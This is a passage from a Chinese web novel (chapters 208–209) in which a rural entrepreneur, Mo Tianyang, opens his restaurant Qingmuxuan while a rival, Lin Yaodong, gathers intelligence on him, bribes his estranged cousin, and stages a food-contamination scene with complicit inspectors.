一辆黑色轿车悄无声息地停在他身边。上车后，他低声问道：“让你找的人找到了吗？” “找到了，这就带您过去。刚才……” “无妨，不过是巧合。我让你找的那个人……” “那人和莫天扬是堂兄弟，但两人势同水火。他父亲因莫天扬而死，据说他姐夫也是被莫天扬送进监狱的。” “竟有此事？” 浅驼某酒店房间外，莫栓带着五六个小弟走到一个房间前。看到门外站着两个黑衣人，莫栓心头一紧。 “你是莫栓？”一个黑衣人冷冷问道。 “是，是我。” 黑衣人打开房门：“你自己进去，他们在外面等着。” “你们知道这是谁的地盘？敢这么对我们栓哥说话！”一个小混混上前推了黑衣人一把。 下一刻，黑衣人闪电般掐住小混混的脖子，将一百三十多斤的他凌空提起。小混混因窒息而眼球突出，双腿乱蹬。 “这是第一次，下次就是死。” 莫栓再草包也看出这两人不简单，连忙摆手制止手下，深吸一口气走进房间。 房间内，一个戴着口罩的人打量着莫栓：“你就是莫栓？” “是，您是……” 那人没有回答，将一个箱子放在床上打开。满箱的百元大钞让莫栓眼前一亮。 “你这是？” “你和莫天扬是堂兄弟，我要知道他的一切。如果让我满意，这些钱都是你的。” 听到“莫天扬”三个字，莫栓眼中瞬间涌上怨毒之色，这一切都被口罩男尽收眼底。 十几分钟后，口罩男点点头：“你是说，他大学四年没回来，回来后还被你们欺负。直到今年开春突然性情大变，是吗？” “对！就是从那时起，他突然有钱了，开始种菜、种豆芽。按我爹的说法，他肯定是在老宅里挖到宝贝了。” “老宅是怎么回事？” “那是我祖爷爷兄弟八个耗费心血盖的，后来被莫啸那老不死的用手段高价买去。我猜那时莫啸就知道老宅有宝，不然莫天扬哪来的钱，哪来那么厉害的种植技术？” “原来如此。”口罩男合上箱子，“你可以带着钱走了。有事我会找你。” “谢谢！能不能留个联系方式？” “不必，我随时能找到你。记住，今天的事若泄露半句，我让你见不到明天的太阳。” 第二百零八章被盯上 青木轩内灯火通明，崭新的桌椅静静地摆放着，空气中还隐约飘散着淡淡的木香和清洁剂的味道。 莫天扬环视了一圈即将开业的店面，目光落在胡亮和曹慧身上。“亮哥、慧姐，明天青木轩就正式开门迎客了。这里的规模比村里大得多，以后你们就留在这里。只有这样的舞台，才配得上你们的手艺。” 胡亮和曹慧对视一眼，都有些意外。“天扬，那家里那边……”曹慧轻声问道。 莫天扬笑了笑，语气温和却坚定：“家里有峰叔他们照应，人手够用。要是实在忙不过来，我让宏利他们跑几趟接送你们就是。” 他顿了顿，特别看向曹慧，“慧姐，亮哥的过去你我都清楚。在村里有乡亲们帮衬着，到了这儿，更多得靠他自己，也得多劳你费心看着他。只要平稳度过这两三年，他一定能脱胎换骨。” 曹慧的脸颊微微泛红，点了点头：“天扬，我晓得了。” 莫天扬又转向胡亮，半开玩笑半认真地拍了拍他的肩膀：“亮哥，我可把话放这儿了。要是让我听说你敢胡来，或者不听慧姐的话，看我到时候怎么收拾你。” 胡亮不好意思地挠了挠头，悄悄瞄了曹慧一眼，郑重地说：“天扬，你就放心吧。当年是我糊涂，是你拉了我一把。我要是再犯浑，那真不是人了。我……我绝不会欺负慧慧，一定好好干。” “胜哥，”莫天扬又对旁边的赵兴胜几个老伙计笑道，“你们也得帮我盯着点亮哥，他要是不听话，随时联系我。可不能让他再走回头路了。” 赵兴胜几人爽朗地笑起来：“没问题！年轻人谁还没走过点弯路，知错能改就好！这几天就数亮子最勤快。” “那就好。”莫天扬放下心来，转而问道，“和精品果蔬那边的供货合同签好了吗？” “签了，”赵兴胜答道，“张老板亲自带我们去看了肉，品质比我们之前小餐馆用的还要好，价钱每斤还便宜了一块多。” 曹慧忍不住笑着补充道：“张学涛可是天扬你的朋友，他跟着你没少赚钱，给咱们的货自然是又好又实惠。” “原来还有这层关系。”胡亮恍然。 “大家心里知道就好，”莫天扬微笑着叮嘱，“以后他带朋友过来，招待周到些。” 众人正闲聊间，目光不约而同地转向门口——有人推门走了进来。莫天扬微微一怔，店外明明挂着“筹备中，暂不营业”的牌子，这个时候会有谁来？ 待来人走近，莫天扬连忙起身迎上前：“贺总，您怎么过来了？” 贺飞脸上带着淡淡的笑意，扫了一眼店内环境：“明天不是开业吗？我顺路过来看看。小莫，方便找个安静地方说几句话？” 莫天扬见他神色似有深意，便点头道：“行，那去办公室吧。” 办公室内，莫天扬给贺飞沏了杯热茶。贺飞呷了一口，放下茶杯，神色略显凝重：“小莫，最近几天，我察觉到有些人在暗中打听青木轩的背景。来路似乎不一般，我担心是有人想对你不利，或者针对店里的人。你们这段时间务必小心，尽量不要单独外出。” 莫天扬眼神一凛：“是莫栓那伙人？” 贺飞摇了摇头：“不太像。看手法不像是浅驼镇这边的人，而且对方很专业，我派人跟过几次，都被他们甩掉了。这些人背景不简单。你仔细想想，是不是在其他地方得罪过什么人？” 莫天扬心头念头飞转，面上却不动声色地摇头：“贺总，我一直待在青木村，连浅驼镇都很少去。开这家店的事，除了您和眼前这几位伙计，也没对外人提起过。” “那会是谁……”贺飞沉吟道。 莫天扬忽然想起一事，说道：“对了，几个月前，他们几个在镇上开过一个小餐馆，主打炖肉和大烩菜。因为生意太好，被沛川市的月满楼看上了。对方想入股，或者干脆让徐志国他们去沛川主厨，被拒绝后，餐馆就天天有人来捣乱。其中闹得最凶的就是莫栓，最后房东也迫于压力解除了合同。” 贺飞深吸一口气：“还有这么一桩事。月满楼我倒也知道，明面上的老板我也认识，但听说背后还有别的东家。如果真是月满楼那边的人，你们更得加倍小心。我找个机会试试看能不能从中说和一下，但未必管用，你们自己一定要做好防备。” 莫天扬将贺飞送至门口，目送他的车消失在街角，这才转身回到店里。将贺飞带过来的消息说给赵兴胜几个。 刚才还热闹的店面此刻安静下来，只剩下胡亮、曹慧和赵兴胜几人，脸上都带着几分凝重。 “天扬，贺总刚才说的……”赵兴胜率先开口，语气里透着担忧。 莫天扬摆了摆手，脸上恢复了平日的沉稳：“兵来将挡，水来土掩。青木轩开门做生意，难免会遇到些风浪。” 他看向众人，“不过贺总的提醒没错，大家以后多留个心眼。亮哥，慧姐，尤其是你们常驻店里，出入小心些，晚上尽量结伴。” 胡亮拍了拍胸脯：“放心，有我在，绝不会让慧慧吃亏。” 曹慧瞪了他一眼，眼底却藏着一丝暖意，转而看向莫天扬：“我们会注意的。店里的运营你不用担心，我们会打理好。” “胜哥，”莫天扬看向赵兴胜，“这几天多留意一下青木轩周围有没有什么生面孔，或者不寻常的动静。” “包在我身上。”赵兴胜点头应下。 莫天扬又交代了几句开业准备的细节，便起身准备返回青木村。夜色已深，镇上的灯火零星亮着。他坐进副驾，透过车窗望向墨蓝色的夜空，贺飞的话在他心中盘旋。 月满楼……还有那些专业的调查人员，恐怕不单单是为了当初餐馆那点旧怨。他隐约觉得，有什么更大的阴影正在悄然逼近，而对方在暗处，自己在明处，这种感觉让他很不舒服。 车子启动，王海龙深吸口气，“天扬，我调查了上午的那两辆车，两辆车都来自于沛川，车的主人都是无业游民。” 莫天扬深吸口气，“沛川，应该是林耀东吧，看来他已经盯上我了。” “对了，今天贺飞找过我，他说在青木轩那边也发现了一些异常，他试着派人跟踪，却不想被人甩掉，我推测那些人也应该和林耀东有关系，你和胜哥他们商量一下，别的地方有事，青木轩千万不能出事。” 王海龙点点头，“天扬，你放心，我回头从沛川那边调人过来，着重应对这件事情。” “对了，林耀东身边的人调查清楚没有。” “他们的确都来自于东南亚，从行动来看，每一个都不是普通人，等下你回村，一定要交代一下，让村里人特别是刘思雨一家三口一定要小心。” --- 与此同时，沛川市，一栋豪华公寓内。 林耀东摇晃着杯中的琥珀色液体，听着电话那头的汇报。 “林少，青木轩的拥有者就是莫天扬，明天开业。我们今天观察到贺飞去了那里，停留了大约半小时。” “贺飞？”林耀东挑了挑眉，“那个在浅驼镇有点势力的贺飞？他和莫天扬什么关系？” “目前看是正常的商业往来，贺飞似乎对青木轩也有些投资。不过有他掺和进来，我们在浅驼镇的动作可能需要更谨慎些。” 林耀东冷哼一声：“贺飞算什么，在沛川还轮不到他说话。继续盯着，重点是莫天扬和那个青木村的动向。我要知道他们所有的秘密，尤其是那些瓜果药材的源头。” “明白。另外，我们尝试接触青木村的人，但那村子很封闭，外人进去很容易被注意，而且……他们养的那些青狼，确实有点麻烦。” “不急，”林耀东将杯中酒一饮而尽，眼中闪过寒光，“慢慢来。先从外围入手，找到他们的弱点。机会总是留给有耐心的人。” “林少，今天我见了莫栓，他和莫天扬是堂兄弟，不过双方却有化解不开的仇怨。” 林耀东眼睛一亮，“说说。” 几分钟后，林耀东点点头，“短短几个月的时间，他就发生了蜕变，看样子，他真的有秘密，而且秘密应该来自于那个老宅，继续调查，对了，莫栓不是和莫天扬有仇，那就让他们斗气来，只要乱起来，机会就来了。” “林少，其实他在几个月前就已经帮林氏集团做事，只不过那个时候他并不知道青木餐馆背后的主人就是莫天扬。” “那就给他放出消息，血缘之争好久都没有看到过了。” 挂断电话，他走到落地窗前，俯瞰着沛川市的璀璨夜景。莫天扬……青木村……他低声自语，嘴角勾起一抹冰冷的笑意。在他看来，那不过是一群碍事的乡下人，偶然得到了一些不该属于他们的东西。而他，很快就会让一切回到“正轨”。 第二百零九章开张就有事？ 回到青木村时，暮色已笼罩了这座静谧的山村。厨房里飘出的炊烟带着熟悉的柴火气息，与渐浓的夜色交织在一起。 餐厅里灯火通明，众人围坐在大圆桌旁。随着一道道家常菜上桌，莫天扬看向正在摆放碗筷的陈宏利：“宏利，炖鸡做了吗？” “按你的吩咐，下午就宰了一只，老爷子亲自掌勺炖的，火候足着呢。” 话音刚落，一股浓郁醇厚的鸡肉香味从厨房飘来，瞬间抓住了所有人的注意力。那香气层次丰富，既有老式土鸡特有的鲜美，又带着一丝若有若无的草药清香。胡标等人不约而同地望向厨房方向，眼中满是惊讶。 “宏利，这是咱们今年新养的那批鸡？”胡标忍不住问道。 陈宏利得意地笑了笑：“标叔，您先说说这香味怎么样？” “这味道……我怕是得有二十年没闻到了。”胡标深吸一口气，神情怀念，“就连现在村里散养的走地鸡，也难有这种纯粹的肉香。” 当曹建华端着硕大的砂锅走进餐厅，将炖鸡放在桌子中央时，莫天扬眼中闪过欣喜的光芒。 金黄的鸡汤上浮着点点油花，鸡肉饱满紧实，色泽诱人，香气比村里最好的散养鸡还要浓郁几分，正是他记忆深处儿时过年才能尝到的味道。 待莫啸最后一个从厨房出来坐下，陈峰笑着对大家说：“今天这鸡可是莫叔守着炖了整整一下午，光是闻着香味就让人直咽口水。” 众人纷纷动筷，鸡肉入口的瞬间，餐桌上响起一片赞叹。肉质鲜嫩却不失嚼劲，汤汁的鲜美完全渗透其中，每一口都让人回味无穷。大家不约而同地看向一直沉默微笑的莫啸。 “莫叔，您这手艺真是宝刀未老，比年轻时还要精湛啊！”曹勇由衷赞叹。 莫啸却轻轻摇头：“不是我的手艺好，是这鸡养得好。我活了这么大岁数，还是头一回见到品质这么好的鸡。”说着，他意味深长地看了莫天扬一眼。 “天扬，你真是神了！”陈宏利兴奋地拍了下桌子，“种什么成什么也就算了，连养鸡都能得到莫叔这么高的评价。明年咱们一定得多养些！” 莫天扬谦和地笑了笑：“应该是散养的方式比较特别。咱们的鸡吃的都是新鲜菜叶和玉米，活动空间又大，自然长得就好。” “这鸡肉要是拿到市场上，肯定能卖个好价钱。”胡标已经开始盘算起来。 陈宏利却摇摇头：“爹，您忘了天扬现在有自己的饭店了？明天青木轩开业，今天特意炖鸡尝鲜，我猜天扬是打算把咱们自己养的鸡鸭鹅都供应给饭店吧？” 莫天扬赞许地点点头：“宏利猜得没错。这鸡肉的品质确实出众，无论放在哪里都能成为招牌。以后青木轩需要的禽肉，就由咱们自己供应。宏利，明天你去联系一下孵化场，预订一批鸡鸭鹅的种苗。” 这话让在场的人都愣住了。曹勇皱起眉头：“天扬，这大冬天的，刚孵出来的雏鸡怕是受不了严寒啊。” 这时，一直安静听着的刘思雨眼睛一亮：“前几年就有冬季孵化的技术了，现在应该更加成熟。只要搭建个保温的养殖棚，控制好温度湿度，冬季养殖不是问题。现在开始养，明年夏天正好可以出栏。” 她转向父亲刘成祥：“爸，我记得您有个老同学就是搞规模化孵化的，要不您帮忙联系问问？” “行，我这就去打电话问问情况。”刘成祥说着起身走向屋外。 莫天扬看向陈峰几人：“峰叔，明天还得麻烦您们帮忙收拾一下青木轩所需的鸡鸭鹅，另外在外院找块地，到时候将养鸡棚搭建起来。。” 陈峰和其他几个长辈相视一笑：“放心吧，都交给我们，你准备明天饭店开业就行。” 这边人们吃喝闲聊时，刘成祥推门进来，带进一丝冬夜的寒气。“天扬，已经联系好了，明天我陪宏利去孵化场走一趟。” 莫天扬眼中光芒微闪，“让海哥开车送你们去。” 众人闻言都有些诧异。刘成祥看向莫天扬：“天扬，明天青木轩开业，你不在场能行吗？” 莫天扬淡然一笑：“我不会露面，明天我自己过去看看就行。” “要不让国强明天送他们去吧。”陈峰提议道。 莫天扬摇摇头，意味深长地看了眼王海龙、李国强和徐明辉三人。三人顿时会意，想起如今莫天扬的身手，只得无奈点头。 翌日清晨，莫天扬起床时，发现曹勇、胡标等人早已在锅楼房那边忙碌，准备当天要送的鸡鸭鹅。看着这些五六十岁的长辈们如此早起帮忙，莫天扬心中涌起一阵暖流。 在酒坊和豆芽房忙完回来，莫天扬看见胡标他们正在将准备好的禽肉装车。 “天扬，要不要捎你一段？”胡标擦着汗问道。 原本打算步行出村的莫天扬点头：“好，我换身衣服，稍等片刻。” 上午九点多，青木轩门口已是热闹非凡。十多个花篮沿街摆放，欢快的锣鼓声传遍整条街道。地处繁华地段的青木轩本就引人注目，这番动静更是吸引了不少路人驻足围观。人们望着尚未揭幕的匾额，纷纷猜测这家气派的饭店是何方神圣所开。 十点半，当赵兴胜、王宏伟出现在门口时，人群中立即有人认出了他们。虽然他们先前的小餐馆经营时间不长，但那独具特色的炖肉、大烩菜和爽口小菜让人印象深刻，加之一直是赵兴胜等人在前台忙碌，老顾客们对他们再熟悉不过。 “老板，这饭店是你们开的？”一位曾经光顾过青木餐馆的熟客惊喜地问道。 赵兴胜笑容满面地点头：“原来那边的情况大家也知道，总有人来捣乱，我们只好换个地方。毕竟我们都靠这个养家糊口呢。” “这饭店可比之前的小餐馆气派多了，在这里吃一顿不便宜吧？我们这些老顾客……” “价格还和以前一样！”赵兴胜朗声道，“就是多了几样炒菜。来者都是客，我们绝不会看人下菜碟，哪怕只点一碗炖肉，我们也照样招待。” “太好了！那我先订一桌。” “好嘞，这边登记一下。” 青木餐馆的往事老顾客们都有所耳闻，没人相信什么卫生不达标的说法，都知道是有人眼红生意好。如今赵兴胜他们在这里重开店面，大家都想再次品尝那令人难忘的炖肉和大烩菜。 口碑相传之下，不到十一点，饭店的所有餐位已被预订一空。即便如此，青木轩门外仍排起了长队。在围观乐队表演的人群中，戴着口罩和帽子的莫天扬默默观察着熙攘的人群。每当发现形迹可疑之人，他的眼中便会闪过一道寒光。 十一点半，当几个举止异常的人混进饭店时，莫天扬的嘴角扬起一抹意味深长的冷笑…… 饭店内，随着一道道色香味俱全的菜肴上桌，赞叹声此起彼伏。特别是那道炖鸡肉，几乎成了每桌必点的招牌，尝过的客人无不追加一份。 正当人们沉浸在美食中时，突然传来盘子碎裂的刺耳声响，整个饭店瞬间安静下来。所有人的目光都聚焦在声音传来的方向。 只见一桌七八个客人怒气冲冲地站起来，“服务员！叫你们经理滚出来！这炖羊肉里怎么有头发？” 一个二十岁出头的女服务员急忙跑过去，低头看向那盆刚上桌的炖羊肉，脸色顿时煞白——浓白的汤里确实漂着几根明显的头发。 “对不起，我马上给您换一盘。” “滚开！叫经理出来！” “我这就去请经理。” 这一闹，让其他食客也纷纷检查起自己的菜肴来。然而令人疑惑的是，除了那一桌外，其他菜品都干净卫生。不少老顾客立即联想到当初青木餐馆的遭遇，心中已然明了。 赵兴胜还没来得及出面，一群穿着制服的人就冲了进来。“我们接到举报，青木轩的菜品中发现异物，请大家立即离开，我们要查封饭店！” “连调查都没有进行，就要直接查封，还有没有王法了？”一个清冷的声音从包厢方向传来。 执法人员脸色骤变，循声望去，只见几人从包厢走出。当看清其中一人时，执法人员的表情顿时僵硬。 “贺、贺总？您怎么在这里？” 贺飞冷笑着走上前：“我倒是想问问你们，从接到举报到赶过来，连五分钟都不到。我记得从你们单位开车过来，最少也要十来分钟吧？难不成你们未卜先知，早就等在门外了？” “这……我们确实是接到举报才来的。” “他们一直在吵吵，连电话都没打，怎么举报？”一个看出端倪的食客高声质问道。 此刻，饭店内的气氛顿时变得剑拔弩张，所有人的目光都聚焦在这突如其来的对峙上。 “你他妈的想死是不是。” 听到威胁，那个食客马上多了下去。 贺飞冷冷一笑，“青木轩重新装修，我可一直都盯着，不说是大厅、包厢，就是后厨都有全程监控，看一下监控就知道发生了什么。”